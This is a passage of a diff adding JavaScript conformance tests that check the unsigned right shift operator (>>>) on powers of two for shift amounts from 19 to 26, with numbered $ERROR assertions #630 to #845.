+if (2097152 >>> 19 !== 4) {
+ $ERROR('#630: 2097152 >>> 19 === 4. Actual: ' + (2097152 >>> 19));
+}
+
+
+if (4194304 >>> 19 !== 8) {
+ $ERROR('#631: 4194304 >>> 19 === 8. Actual: ' + (4194304 >>> 19));
+}
+
+
+if (8388608 >>> 19 !== 16) {
+ $ERROR('#632: 8388608 >>> 19 === 16. Actual: ' + (8388608 >>> 19));
+}
+
+
+if (16777216 >>> 19 !== 32) {
+ $ERROR('#633: 16777216 >>> 19 === 32. Actual: ' + (16777216 >>> 19));
+}
+
+
+if (33554432 >>> 19 !== 64) {
+ $ERROR('#634: 33554432 >>> 19 === 64. Actual: ' + (33554432 >>> 19));
+}
+
+
+if (67108864 >>> 19 !== 128) {
+ $ERROR('#635: 67108864 >>> 19 === 128. Actual: ' + (67108864 >>> 19));
+}
+
+
+if (134217728 >>> 19 !== 256) {
+ $ERROR('#636: 134217728 >>> 19 === 256. Actual: ' + (134217728 >>> 19));
+}
+
+
+if (268435456 >>> 19 !== 512) {
+ $ERROR('#637: 268435456 >>> 19 === 512. Actual: ' + (268435456 >>> 19));
+}
+
+
+if (536870912 >>> 19 !== 1024) {
+ $ERROR('#638: 536870912 >>> 19 === 1024. Actual: ' + (536870912 >>> 19));
+}
+
+
+if (1073741824 >>> 19 !== 2048) {
+ $ERROR('#639: 1073741824 >>> 19 === 2048. Actual: ' + (1073741824 >>> 19));
+}
+
+
+if (2147483648 >>> 19 !== 4096) {
+ $ERROR('#640: 2147483648 >>> 19 === 4096. Actual: ' + (2147483648 >>> 19));
+}
+
+
+if (1 >>> 20 !== 0) {
+ $ERROR('#641: 1 >>> 20 === 0. Actual: ' + (1 >>> 20));
+}
+
+
+if (2 >>> 20 !== 0) {
+ $ERROR('#642: 2 >>> 20 === 0. Actual: ' + (2 >>> 20));
+}
+
+
+if (4 >>> 20 !== 0) {
+ $ERROR('#643: 4 >>> 20 === 0. Actual: ' + (4 >>> 20));
+}
+
+
+if (8 >>> 20 !== 0) {
+ $ERROR('#644: 8 >>> 20 === 0. Actual: ' + (8 >>> 20));
+}
+
+
+if (16 >>> 20 !== 0) {
+ $ERROR('#645: 16 >>> 20 === 0. Actual: ' + (16 >>> 20));
+}
+
+
+if (32 >>> 20 !== 0) {
+ $ERROR('#646: 32 >>> 20 === 0. Actual: ' + (32 >>> 20));
+}
+
+
+if (64 >>> 20 !== 0) {
+ $ERROR('#647: 64 >>> 20 === 0. Actual: ' + (64 >>> 20));
+}
+
+
+if (128 >>> 20 !== 0) {
+ $ERROR('#648: 128 >>> 20 === 0. Actual: ' + (128 >>> 20));
+}
+
+
+if (256 >>> 20 !== 0) {
+ $ERROR('#649: 256 >>> 20 === 0. Actual: ' + (256 >>> 20));
+}
+
+
+if (512 >>> 20 !== 0) {
+ $ERROR('#650: 512 >>> 20 === 0. Actual: ' + (512 >>> 20));
+}
+
+
+if (1024 >>> 20 !== 0) {
+ $ERROR('#651: 1024 >>> 20 === 0. Actual: ' + (1024 >>> 20));
+}
+
+
+if (2048 >>> 20 !== 0) {
+ $ERROR('#652: 2048 >>> 20 === 0. Actual: ' + (2048 >>> 20));
+}
+
+
+if (4096 >>> 20 !== 0) {
+ $ERROR('#653: 4096 >>> 20 === 0. Actual: ' + (4096 >>> 20));
+}
+
+
+if (8192 >>> 20 !== 0) {
+ $ERROR('#654: 8192 >>> 20 === 0. Actual: ' + (8192 >>> 20));
+}
+
+
+if (16384 >>> 20 !== 0) {
+ $ERROR('#655: 16384 >>> 20 === 0. Actual: ' + (16384 >>> 20));
+}
+
+
+if (32768 >>> 20 !== 0) {
+ $ERROR('#656: 32768 >>> 20 === 0. Actual: ' + (32768 >>> 20));
+}
+
+
+if (65536 >>> 20 !== 0) {
+ $ERROR('#657: 65536 >>> 20 === 0. Actual: ' + (65536 >>> 20));
+}
+
+
+if (131072 >>> 20 !== 0) {
+ $ERROR('#658: 131072 >>> 20 === 0. Actual: ' + (131072 >>> 20));
+}
+
+
+if (262144 >>> 20 !== 0) {
+ $ERROR('#659: 262144 >>> 20 === 0. Actual: ' + (262144 >>> 20));
+}
+
+
+if (524288 >>> 20 !== 0) {
+ $ERROR('#660: 524288 >>> 20 === 0. Actual: ' + (524288 >>> 20));
+}
+
+
+if (1048576 >>> 20 !== 1) {
+ $ERROR('#661: 1048576 >>> 20 === 1. Actual: ' + (1048576 >>> 20));
+}
+
+
+if (2097152 >>> 20 !== 2) {
+ $ERROR('#662: 2097152 >>> 20 === 2. Actual: ' + (2097152 >>> 20));
+}
+
+
+if (4194304 >>> 20 !== 4) {
+ $ERROR('#663: 4194304 >>> 20 === 4. Actual: ' + (4194304 >>> 20));
+}
+
+
+if (8388608 >>> 20 !== 8) {
+ $ERROR('#664: 8388608 >>> 20 === 8. Actual: ' + (8388608 >>> 20));
+}
+
+
+if (16777216 >>> 20 !== 16) {
+ $ERROR('#665: 16777216 >>> 20 === 16. Actual: ' + (16777216 >>> 20));
+}
+
+
+if (33554432 >>> 20 !== 32) {
+ $ERROR('#666: 33554432 >>> 20 === 32. Actual: ' + (33554432 >>> 20));
+}
+
+
+if (67108864 >>> 20 !== 64) {
+ $ERROR('#667: 67108864 >>> 20 === 64. Actual: ' + (67108864 >>> 20));
+}
+
+
+if (134217728 >>> 20 !== 128) {
+ $ERROR('#668: 134217728 >>> 20 === 128. Actual: ' + (134217728 >>> 20));
+}
+
+
+if (268435456 >>> 20 !== 256) {
+ $ERROR('#669: 268435456 >>> 20 === 256. Actual: ' + (268435456 >>> 20));
+}
+
+
+if (536870912 >>> 20 !== 512) {
+ $ERROR('#670: 536870912 >>> 20 === 512. Actual: ' + (536870912 >>> 20));
+}
+
+
+if (1073741824 >>> 20 !== 1024) {
+ $ERROR('#671: 1073741824 >>> 20 === 1024. Actual: ' + (1073741824 >>> 20));
+}
+
+
+if (2147483648 >>> 20 !== 2048) {
+ $ERROR('#672: 2147483648 >>> 20 === 2048. Actual: ' + (2147483648 >>> 20));
+}
+
+
+if (1 >>> 21 !== 0) {
+ $ERROR('#673: 1 >>> 21 === 0. Actual: ' + (1 >>> 21));
+}
+
+
+if (2 >>> 21 !== 0) {
+ $ERROR('#674: 2 >>> 21 === 0. Actual: ' + (2 >>> 21));
+}
+
+
+if (4 >>> 21 !== 0) {
+ $ERROR('#675: 4 >>> 21 === 0. Actual: ' + (4 >>> 21));
+}
+
+
+if (8 >>> 21 !== 0) {
+ $ERROR('#676: 8 >>> 21 === 0. Actual: ' + (8 >>> 21));
+}
+
+
+if (16 >>> 21 !== 0) {
+ $ERROR('#677: 16 >>> 21 === 0. Actual: ' + (16 >>> 21));
+}
+
+
+if (32 >>> 21 !== 0) {
+ $ERROR('#678: 32 >>> 21 === 0. Actual: ' + (32 >>> 21));
+}
+
+
+if (64 >>> 21 !== 0) {
+ $ERROR('#679: 64 >>> 21 === 0. Actual: ' + (64 >>> 21));
+}
+
+
+if (128 >>> 21 !== 0) {
+ $ERROR('#680: 128 >>> 21 === 0. Actual: ' + (128 >>> 21));
+}
+
+
+if (256 >>> 21 !== 0) {
+ $ERROR('#681: 256 >>> 21 === 0. Actual: ' + (256 >>> 21));
+}
+
+
+if (512 >>> 21 !== 0) {
+ $ERROR('#682: 512 >>> 21 === 0. Actual: ' + (512 >>> 21));
+}
+
+
+if (1024 >>> 21 !== 0) {
+ $ERROR('#683: 1024 >>> 21 === 0. Actual: ' + (1024 >>> 21));
+}
+
+
+if (2048 >>> 21 !== 0) {
+ $ERROR('#684: 2048 >>> 21 === 0. Actual: ' + (2048 >>> 21));
+}
+
+
+if (4096 >>> 21 !== 0) {
+ $ERROR('#685: 4096 >>> 21 === 0. Actual: ' + (4096 >>> 21));
+}
+
+
+if (8192 >>> 21 !== 0) {
+ $ERROR('#686: 8192 >>> 21 === 0. Actual: ' + (8192 >>> 21));
+}
+
+
+if (16384 >>> 21 !== 0) {
+ $ERROR('#687: 16384 >>> 21 === 0. Actual: ' + (16384 >>> 21));
+}
+
+
+if (32768 >>> 21 !== 0) {
+ $ERROR('#688: 32768 >>> 21 === 0. Actual: ' + (32768 >>> 21));
+}
+
+
+if (65536 >>> 21 !== 0) {
+ $ERROR('#689: 65536 >>> 21 === 0. Actual: ' + (65536 >>> 21));
+}
+
+
+if (131072 >>> 21 !== 0) {
+ $ERROR('#690: 131072 >>> 21 === 0. Actual: ' + (131072 >>> 21));
+}
+
+
+if (262144 >>> 21 !== 0) {
+ $ERROR('#691: 262144 >>> 21 === 0. Actual: ' + (262144 >>> 21));
+}
+
+
+if (524288 >>> 21 !== 0) {
+ $ERROR('#692: 524288 >>> 21 === 0. Actual: ' + (524288 >>> 21));
+}
+
+
+if (1048576 >>> 21 !== 0) {
+ $ERROR('#693: 1048576 >>> 21 === 0. Actual: ' + (1048576 >>> 21));
+}
+
+
+if (2097152 >>> 21 !== 1) {
+ $ERROR('#694: 2097152 >>> 21 === 1. Actual: ' + (2097152 >>> 21));
+}
+
+
+if (4194304 >>> 21 !== 2) {
+ $ERROR('#695: 4194304 >>> 21 === 2. Actual: ' + (4194304 >>> 21));
+}
+
+
+if (8388608 >>> 21 !== 4) {
+ $ERROR('#696: 8388608 >>> 21 === 4. Actual: ' + (8388608 >>> 21));
+}
+
+
+if (16777216 >>> 21 !== 8) {
+ $ERROR('#697: 16777216 >>> 21 === 8. Actual: ' + (16777216 >>> 21));
+}
+
+
+if (33554432 >>> 21 !== 16) {
+ $ERROR('#698: 33554432 >>> 21 === 16. Actual: ' + (33554432 >>> 21));
+}
+
+
+if (67108864 >>> 21 !== 32) {
+ $ERROR('#699: 67108864 >>> 21 === 32. Actual: ' + (67108864 >>> 21));
+}
+
+
+if (134217728 >>> 21 !== 64) {
+ $ERROR('#700: 134217728 >>> 21 === 64. Actual: ' + (134217728 >>> 21));
+}
+
+
+if (268435456 >>> 21 !== 128) {
+ $ERROR('#701: 268435456 >>> 21 === 128. Actual: ' + (268435456 >>> 21));
+}
+
+
+if (536870912 >>> 21 !== 256) {
+ $ERROR('#702: 536870912 >>> 21 === 256. Actual: ' + (536870912 >>> 21));
+}
+
+
+if (1073741824 >>> 21 !== 512) {
+ $ERROR('#703: 1073741824 >>> 21 === 512. Actual: ' + (1073741824 >>> 21));
+}
+
+
+if (2147483648 >>> 21 !== 1024) {
+ $ERROR('#704: 2147483648 >>> 21 === 1024. Actual: ' + (2147483648 >>> 21));
+}
+
+
+if (1 >>> 22 !== 0) {
+ $ERROR('#705: 1 >>> 22 === 0. Actual: ' + (1 >>> 22));
+}
+
+
+if (2 >>> 22 !== 0) {
+ $ERROR('#706: 2 >>> 22 === 0. Actual: ' + (2 >>> 22));
+}
+
+
+if (4 >>> 22 !== 0) {
+ $ERROR('#707: 4 >>> 22 === 0. Actual: ' + (4 >>> 22));
+}
+
+
+if (8 >>> 22 !== 0) {
+ $ERROR('#708: 8 >>> 22 === 0. Actual: ' + (8 >>> 22));
+}
+
+
+if (16 >>> 22 !== 0) {
+ $ERROR('#709: 16 >>> 22 === 0. Actual: ' + (16 >>> 22));
+}
+
+
+if (32 >>> 22 !== 0) {
+ $ERROR('#710: 32 >>> 22 === 0. Actual: ' + (32 >>> 22));
+}
+
+
+if (64 >>> 22 !== 0) {
+ $ERROR('#711: 64 >>> 22 === 0. Actual: ' + (64 >>> 22));
+}
+
+
+if (128 >>> 22 !== 0) {
+ $ERROR('#712: 128 >>> 22 === 0. Actual: ' + (128 >>> 22));
+}
+
+
+if (256 >>> 22 !== 0) {
+ $ERROR('#713: 256 >>> 22 === 0. Actual: ' + (256 >>> 22));
+}
+
+
+if (512 >>> 22 !== 0) {
+ $ERROR('#714: 512 >>> 22 === 0. Actual: ' + (512 >>> 22));
+}
+
+
+if (1024 >>> 22 !== 0) {
+ $ERROR('#715: 1024 >>> 22 === 0. Actual: ' + (1024 >>> 22));
+}
+
+
+if (2048 >>> 22 !== 0) {
+ $ERROR('#716: 2048 >>> 22 === 0. Actual: ' + (2048 >>> 22));
+}
+
+
+if (4096 >>> 22 !== 0) {
+ $ERROR('#717: 4096 >>> 22 === 0. Actual: ' + (4096 >>> 22));
+}
+
+
+if (8192 >>> 22 !== 0) {
+ $ERROR('#718: 8192 >>> 22 === 0. Actual: ' + (8192 >>> 22));
+}
+
+
+if (16384 >>> 22 !== 0) {
+ $ERROR('#719: 16384 >>> 22 === 0. Actual: ' + (16384 >>> 22));
+}
+
+
+if (32768 >>> 22 !== 0) {
+ $ERROR('#720: 32768 >>> 22 === 0. Actual: ' + (32768 >>> 22));
+}
+
+
+if (65536 >>> 22 !== 0) {
+ $ERROR('#721: 65536 >>> 22 === 0. Actual: ' + (65536 >>> 22));
+}
+
+
+if (131072 >>> 22 !== 0) {
+ $ERROR('#722: 131072 >>> 22 === 0. Actual: ' + (131072 >>> 22));
+}
+
+
+if (262144 >>> 22 !== 0) {
+ $ERROR('#723: 262144 >>> 22 === 0. Actual: ' + (262144 >>> 22));
+}
+
+
+if (524288 >>> 22 !== 0) {
+ $ERROR('#724: 524288 >>> 22 === 0. Actual: ' + (524288 >>> 22));
+}
+
+
+if (1048576 >>> 22 !== 0) {
+ $ERROR('#725: 1048576 >>> 22 === 0. Actual: ' + (1048576 >>> 22));
+}
+
+
+if (2097152 >>> 22 !== 0) {
+ $ERROR('#726: 2097152 >>> 22 === 0. Actual: ' + (2097152 >>> 22));
+}
+
+
+if (4194304 >>> 22 !== 1) {
+ $ERROR('#727: 4194304 >>> 22 === 1. Actual: ' + (4194304 >>> 22));
+}
+
+
+if (8388608 >>> 22 !== 2) {
+ $ERROR('#728: 8388608 >>> 22 === 2. Actual: ' + (8388608 >>> 22));
+}
+
+
+if (16777216 >>> 22 !== 4) {
+ $ERROR('#729: 16777216 >>> 22 === 4. Actual: ' + (16777216 >>> 22));
+}
+
+
+if (33554432 >>> 22 !== 8) {
+ $ERROR('#730: 33554432 >>> 22 === 8. Actual: ' + (33554432 >>> 22));
+}
+
+
+if (67108864 >>> 22 !== 16) {
+ $ERROR('#731: 67108864 >>> 22 === 16. Actual: ' + (67108864 >>> 22));
+}
+
+
+if (134217728 >>> 22 !== 32) {
+ $ERROR('#732: 134217728 >>> 22 === 32. Actual: ' + (134217728 >>> 22));
+}
+
+
+if (268435456 >>> 22 !== 64) {
+ $ERROR('#733: 268435456 >>> 22 === 64. Actual: ' + (268435456 >>> 22));
+}
+
+
+if (536870912 >>> 22 !== 128) {
+ $ERROR('#734: 536870912 >>> 22 === 128. Actual: ' + (536870912 >>> 22));
+}
+
+
+if (1073741824 >>> 22 !== 256) {
+ $ERROR('#735: 1073741824 >>> 22 === 256. Actual: ' + (1073741824 >>> 22));
+}
+
+
+if (2147483648 >>> 22 !== 512) {
+ $ERROR('#736: 2147483648 >>> 22 === 512. Actual: ' + (2147483648 >>> 22));
+}
+
+
+if (1 >>> 23 !== 0) {
+ $ERROR('#737: 1 >>> 23 === 0. Actual: ' + (1 >>> 23));
+}
+
+
+if (2 >>> 23 !== 0) {
+ $ERROR('#738: 2 >>> 23 === 0. Actual: ' + (2 >>> 23));
+}
+
+
+if (4 >>> 23 !== 0) {
+ $ERROR('#739: 4 >>> 23 === 0. Actual: ' + (4 >>> 23));
+}
+
+
+if (8 >>> 23 !== 0) {
+ $ERROR('#740: 8 >>> 23 === 0. Actual: ' + (8 >>> 23));
+}
+
+
+if (16 >>> 23 !== 0) {
+ $ERROR('#741: 16 >>> 23 === 0. Actual: ' + (16 >>> 23));
+}
+
+
+if (32 >>> 23 !== 0) {
+ $ERROR('#742: 32 >>> 23 === 0. Actual: ' + (32 >>> 23));
+}
+
+
+if (64 >>> 23 !== 0) {
+ $ERROR('#743: 64 >>> 23 === 0. Actual: ' + (64 >>> 23));
+}
+
+
+if (128 >>> 23 !== 0) {
+ $ERROR('#744: 128 >>> 23 === 0. Actual: ' + (128 >>> 23));
+}
+
+
+if (256 >>> 23 !== 0) {
+ $ERROR('#745: 256 >>> 23 === 0. Actual: ' + (256 >>> 23));
+}
+
+
+if (512 >>> 23 !== 0) {
+ $ERROR('#746: 512 >>> 23 === 0. Actual: ' + (512 >>> 23));
+}
+
+
+if (1024 >>> 23 !== 0) {
+ $ERROR('#747: 1024 >>> 23 === 0. Actual: ' + (1024 >>> 23));
+}
+
+
+if (2048 >>> 23 !== 0) {
+ $ERROR('#748: 2048 >>> 23 === 0. Actual: ' + (2048 >>> 23));
+}
+
+
+if (4096 >>> 23 !== 0) {
+ $ERROR('#749: 4096 >>> 23 === 0. Actual: ' + (4096 >>> 23));
+}
+
+
+if (8192 >>> 23 !== 0) {
+ $ERROR('#750: 8192 >>> 23 === 0. Actual: ' + (8192 >>> 23));
+}
+
+
+if (16384 >>> 23 !== 0) {
+ $ERROR('#751: 16384 >>> 23 === 0. Actual: ' + (16384 >>> 23));
+}
+
+
+if (32768 >>> 23 !== 0) {
+ $ERROR('#752: 32768 >>> 23 === 0. Actual: ' + (32768 >>> 23));
+}
+
+
+if (65536 >>> 23 !== 0) {
+ $ERROR('#753: 65536 >>> 23 === 0. Actual: ' + (65536 >>> 23));
+}
+
+
+if (131072 >>> 23 !== 0) {
+ $ERROR('#754: 131072 >>> 23 === 0. Actual: ' + (131072 >>> 23));
+}
+
+
+if (262144 >>> 23 !== 0) {
+ $ERROR('#755: 262144 >>> 23 === 0. Actual: ' + (262144 >>> 23));
+}
+
+
+if (524288 >>> 23 !== 0) {
+ $ERROR('#756: 524288 >>> 23 === 0. Actual: ' + (524288 >>> 23));
+}
+
+
+if (1048576 >>> 23 !== 0) {
+ $ERROR('#757: 1048576 >>> 23 === 0. Actual: ' + (1048576 >>> 23));
+}
+
+
+if (2097152 >>> 23 !== 0) {
+ $ERROR('#758: 2097152 >>> 23 === 0. Actual: ' + (2097152 >>> 23));
+}
+
+
+if (4194304 >>> 23 !== 0) {
+ $ERROR('#759: 4194304 >>> 23 === 0. Actual: ' + (4194304 >>> 23));
+}
+
+
+if (8388608 >>> 23 !== 1) {
+ $ERROR('#760: 8388608 >>> 23 === 1. Actual: ' + (8388608 >>> 23));
+}
+
+
+if (16777216 >>> 23 !== 2) {
+ $ERROR('#761: 16777216 >>> 23 === 2. Actual: ' + (16777216 >>> 23));
+}
+
+
+if (33554432 >>> 23 !== 4) {
+ $ERROR('#762: 33554432 >>> 23 === 4. Actual: ' + (33554432 >>> 23));
+}
+
+
+if (67108864 >>> 23 !== 8) {
+ $ERROR('#763: 67108864 >>> 23 === 8. Actual: ' + (67108864 >>> 23));
+}
+
+
+if (134217728 >>> 23 !== 16) {
+ $ERROR('#764: 134217728 >>> 23 === 16. Actual: ' + (134217728 >>> 23));
+}
+
+
+if (268435456 >>> 23 !== 32) {
+ $ERROR('#765: 268435456 >>> 23 === 32. Actual: ' + (268435456 >>> 23));
+}
+
+
+if (536870912 >>> 23 !== 64) {
+ $ERROR('#766: 536870912 >>> 23 === 64. Actual: ' + (536870912 >>> 23));
+}
+
+
+if (1073741824 >>> 23 !== 128) {
+ $ERROR('#767: 1073741824 >>> 23 === 128. Actual: ' + (1073741824 >>> 23));
+}
+
+
+if (2147483648 >>> 23 !== 256) {
+ $ERROR('#768: 2147483648 >>> 23 === 256. Actual: ' + (2147483648 >>> 23));
+}
+
+
+if (1 >>> 24 !== 0) {
+ $ERROR('#769: 1 >>> 24 === 0. Actual: ' + (1 >>> 24));
+}
+
+
+if (2 >>> 24 !== 0) {
+ $ERROR('#770: 2 >>> 24 === 0. Actual: ' + (2 >>> 24));
+}
+
+
+if (4 >>> 24 !== 0) {
+ $ERROR('#771: 4 >>> 24 === 0. Actual: ' + (4 >>> 24));
+}
+
+
+if (8 >>> 24 !== 0) {
+ $ERROR('#772: 8 >>> 24 === 0. Actual: ' + (8 >>> 24));
+}
+
+
+if (16 >>> 24 !== 0) {
+ $ERROR('#773: 16 >>> 24 === 0. Actual: ' + (16 >>> 24));
+}
+
+
+if (32 >>> 24 !== 0) {
+ $ERROR('#774: 32 >>> 24 === 0. Actual: ' + (32 >>> 24));
+}
+
+
+if (64 >>> 24 !== 0) {
+ $ERROR('#775: 64 >>> 24 === 0. Actual: ' + (64 >>> 24));
+}
+
+
+if (128 >>> 24 !== 0) {
+ $ERROR('#776: 128 >>> 24 === 0. Actual: ' + (128 >>> 24));
+}
+
+
+if (256 >>> 24 !== 0) {
+ $ERROR('#777: 256 >>> 24 === 0. Actual: ' + (256 >>> 24));
+}
+
+
+if (512 >>> 24 !== 0) {
+ $ERROR('#778: 512 >>> 24 === 0. Actual: ' + (512 >>> 24));
+}
+
+
+if (1024 >>> 24 !== 0) {
+ $ERROR('#779: 1024 >>> 24 === 0. Actual: ' + (1024 >>> 24));
+}
+
+
+if (2048 >>> 24 !== 0) {
+ $ERROR('#780: 2048 >>> 24 === 0. Actual: ' + (2048 >>> 24));
+}
+
+
+if (4096 >>> 24 !== 0) {
+ $ERROR('#781: 4096 >>> 24 === 0. Actual: ' + (4096 >>> 24));
+}
+
+
+if (8192 >>> 24 !== 0) {
+ $ERROR('#782: 8192 >>> 24 === 0. Actual: ' + (8192 >>> 24));
+}
+
+
+if (16384 >>> 24 !== 0) {
+ $ERROR('#783: 16384 >>> 24 === 0. Actual: ' + (16384 >>> 24));
+}
+
+
+if (32768 >>> 24 !== 0) {
+ $ERROR('#784: 32768 >>> 24 === 0. Actual: ' + (32768 >>> 24));
+}
+
+
+if (65536 >>> 24 !== 0) {
+ $ERROR('#785: 65536 >>> 24 === 0. Actual: ' + (65536 >>> 24));
+}
+
+
+if (131072 >>> 24 !== 0) {
+ $ERROR('#786: 131072 >>> 24 === 0. Actual: ' + (131072 >>> 24));
+}
+
+
+if (262144 >>> 24 !== 0) {
+ $ERROR('#787: 262144 >>> 24 === 0. Actual: ' + (262144 >>> 24));
+}
+
+
+if (524288 >>> 24 !== 0) {
+ $ERROR('#788: 524288 >>> 24 === 0. Actual: ' + (524288 >>> 24));
+}
+
+
+if (1048576 >>> 24 !== 0) {
+ $ERROR('#789: 1048576 >>> 24 === 0. Actual: ' + (1048576 >>> 24));
+}
+
+
+if (2097152 >>> 24 !== 0) {
+ $ERROR('#790: 2097152 >>> 24 === 0. Actual: ' + (2097152 >>> 24));
+}
+
+
+if (4194304 >>> 24 !== 0) {
+ $ERROR('#791: 4194304 >>> 24 === 0. Actual: ' + (4194304 >>> 24));
+}
+
+
+if (8388608 >>> 24 !== 0) {
+ $ERROR('#792: 8388608 >>> 24 === 0. Actual: ' + (8388608 >>> 24));
+}
+
+
+if (16777216 >>> 24 !== 1) {
+ $ERROR('#793: 16777216 >>> 24 === 1. Actual: ' + (16777216 >>> 24));
+}
+
+
+if (33554432 >>> 24 !== 2) {
+ $ERROR('#794: 33554432 >>> 24 === 2. Actual: ' + (33554432 >>> 24));
+}
+
+
+if (67108864 >>> 24 !== 4) {
+ $ERROR('#795: 67108864 >>> 24 === 4. Actual: ' + (67108864 >>> 24));
+}
+
+
+if (134217728 >>> 24 !== 8) {
+ $ERROR('#796: 134217728 >>> 24 === 8. Actual: ' + (134217728 >>> 24));
+}
+
+
+if (268435456 >>> 24 !== 16) {
+ $ERROR('#797: 268435456 >>> 24 === 16. Actual: ' + (268435456 >>> 24));
+}
+
+
+if (536870912 >>> 24 !== 32) {
+ $ERROR('#798: 536870912 >>> 24 === 32. Actual: ' + (536870912 >>> 24));
+}
+
+
+if (1073741824 >>> 24 !== 64) {
+ $ERROR('#799: 1073741824 >>> 24 === 64. Actual: ' + (1073741824 >>> 24));
+}
+
+
+if (2147483648 >>> 24 !== 128) {
+ $ERROR('#800: 2147483648 >>> 24 === 128. Actual: ' + (2147483648 >>> 24));
+}
+
+
+if (1 >>> 25 !== 0) {
+ $ERROR('#801: 1 >>> 25 === 0. Actual: ' + (1 >>> 25));
+}
+
+
+if (2 >>> 25 !== 0) {
+ $ERROR('#802: 2 >>> 25 === 0. Actual: ' + (2 >>> 25));
+}
+
+
+if (4 >>> 25 !== 0) {
+ $ERROR('#803: 4 >>> 25 === 0. Actual: ' + (4 >>> 25));
+}
+
+
+if (8 >>> 25 !== 0) {
+ $ERROR('#804: 8 >>> 25 === 0. Actual: ' + (8 >>> 25));
+}
+
+
+if (16 >>> 25 !== 0) {
+ $ERROR('#805: 16 >>> 25 === 0. Actual: ' + (16 >>> 25));
+}
+
+
+if (32 >>> 25 !== 0) {
+ $ERROR('#806: 32 >>> 25 === 0. Actual: ' + (32 >>> 25));
+}
+
+
+if (64 >>> 25 !== 0) {
+ $ERROR('#807: 64 >>> 25 === 0. Actual: ' + (64 >>> 25));
+}
+
+
+if (128 >>> 25 !== 0) {
+ $ERROR('#808: 128 >>> 25 === 0. Actual: ' + (128 >>> 25));
+}
+
+
+if (256 >>> 25 !== 0) {
+ $ERROR('#809: 256 >>> 25 === 0. Actual: ' + (256 >>> 25));
+}
+
+
+if (512 >>> 25 !== 0) {
+ $ERROR('#810: 512 >>> 25 === 0. Actual: ' + (512 >>> 25));
+}
+
+
+if (1024 >>> 25 !== 0) {
+ $ERROR('#811: 1024 >>> 25 === 0. Actual: ' + (1024 >>> 25));
+}
+
+
+if (2048 >>> 25 !== 0) {
+ $ERROR('#812: 2048 >>> 25 === 0. Actual: ' + (2048 >>> 25));
+}
+
+
+if (4096 >>> 25 !== 0) {
+ $ERROR('#813: 4096 >>> 25 === 0. Actual: ' + (4096 >>> 25));
+}
+
+
+if (8192 >>> 25 !== 0) {
+ $ERROR('#814: 8192 >>> 25 === 0. Actual: ' + (8192 >>> 25));
+}
+
+
+if (16384 >>> 25 !== 0) {
+ $ERROR('#815: 16384 >>> 25 === 0. Actual: ' + (16384 >>> 25));
+}
+
+
+if (32768 >>> 25 !== 0) {
+ $ERROR('#816: 32768 >>> 25 === 0. Actual: ' + (32768 >>> 25));
+}
+
+
+if (65536 >>> 25 !== 0) {
+ $ERROR('#817: 65536 >>> 25 === 0. Actual: ' + (65536 >>> 25));
+}
+
+
+if (131072 >>> 25 !== 0) {
+ $ERROR('#818: 131072 >>> 25 === 0. Actual: ' + (131072 >>> 25));
+}
+
+
+if (262144 >>> 25 !== 0) {
+ $ERROR('#819: 262144 >>> 25 === 0. Actual: ' + (262144 >>> 25));
+}
+
+
+if (524288 >>> 25 !== 0) {
+ $ERROR('#820: 524288 >>> 25 === 0. Actual: ' + (524288 >>> 25));
+}
+
+
+if (1048576 >>> 25 !== 0) {
+ $ERROR('#821: 1048576 >>> 25 === 0. Actual: ' + (1048576 >>> 25));
+}
+
+
+if (2097152 >>> 25 !== 0) {
+ $ERROR('#822: 2097152 >>> 25 === 0. Actual: ' + (2097152 >>> 25));
+}
+
+
+if (4194304 >>> 25 !== 0) {
+ $ERROR('#823: 4194304 >>> 25 === 0. Actual: ' + (4194304 >>> 25));
+}
+
+
+if (8388608 >>> 25 !== 0) {
+ $ERROR('#824: 8388608 >>> 25 === 0. Actual: ' + (8388608 >>> 25));
+}
+
+
+if (16777216 >>> 25 !== 0) {
+ $ERROR('#825: 16777216 >>> 25 === 0. Actual: ' + (16777216 >>> 25));
+}
+
+
+if (33554432 >>> 25 !== 1) {
+ $ERROR('#826: 33554432 >>> 25 === 1. Actual: ' + (33554432 >>> 25));
+}
+
+
+if (67108864 >>> 25 !== 2) {
+ $ERROR('#827: 67108864 >>> 25 === 2. Actual: ' + (67108864 >>> 25));
+}
+
+
+if (134217728 >>> 25 !== 4) {
+ $ERROR('#828: 134217728 >>> 25 === 4. Actual: ' + (134217728 >>> 25));
+}
+
+
+if (268435456 >>> 25 !== 8) {
+ $ERROR('#829: 268435456 >>> 25 === 8. Actual: ' + (268435456 >>> 25));
+}
+
+
+if (536870912 >>> 25 !== 16) {
+ $ERROR('#830: 536870912 >>> 25 === 16. Actual: ' + (536870912 >>> 25));
+}
+
+
+if (1073741824 >>> 25 !== 32) {
+ $ERROR('#831: 1073741824 >>> 25 === 32. Actual: ' + (1073741824 >>> 25));
+}
+
+
+if (2147483648 >>> 25 !== 64) {
+ $ERROR('#832: 2147483648 >>> 25 === 64. Actual: ' + (2147483648 >>> 25));
+}
+
+
+if (1 >>> 26 !== 0) {
+ $ERROR('#833: 1 >>> 26 === 0. Actual: ' + (1 >>> 26));
+}
+
+
+if (2 >>> 26 !== 0) {
+ $ERROR('#834: 2 >>> 26 === 0. Actual: ' + (2 >>> 26));
+}
+
+
+if (4 >>> 26 !== 0) {
+ $ERROR('#835: 4 >>> 26 === 0. Actual: ' + (4 >>> 26));
+}
+
+
+if (8 >>> 26 !== 0) {
+ $ERROR('#836: 8 >>> 26 === 0. Actual: ' + (8 >>> 26));
+}
+
+
+if (16 >>> 26 !== 0) {
+ $ERROR('#837: 16 >>> 26 === 0. Actual: ' + (16 >>> 26));
+}
+
+
+if (32 >>> 26 !== 0) {
+ $ERROR('#838: 32 >>> 26 === 0. Actual: ' + (32 >>> 26));
+}
+
+
+if (64 >>> 26 !== 0) {
+ $ERROR('#839: 64 >>> 26 === 0. Actual: ' + (64 >>> 26));
+}
+
+
+if (128 >>> 26 !== 0) {
+ $ERROR('#840: 128 >>> 26 === 0. Actual: ' + (128 >>> 26));
+}
+
+
+if (256 >>> 26 !== 0) {
+ $ERROR('#841: 256 >>> 26 === 0. Actual: ' + (256 >>> 26));
+}
+
+
+if (512 >>> 26 !== 0) {
+ $ERROR('#842: 512 >>> 26 === 0. Actual: ' + (512 >>> 26));
+}
+
+
+if (1024 >>> 26 !== 0) {
+ $ERROR('#843: 1024 >>> 26 === 0. Actual: ' + (1024 >>> 26));
+}
+
+
+if (2048 >>> 26 !== 0) {
+ $ERROR('#844: 2048 >>> 26 === 0. Actual: ' + (2048 >>> 26));
+}
+
+
+if (4096 >>> 26 !== 0) {
+ $ERROR('#845: 4096 >>> 26 === 0. Actual: ' + (4096 >>> 26));
+}
+
+
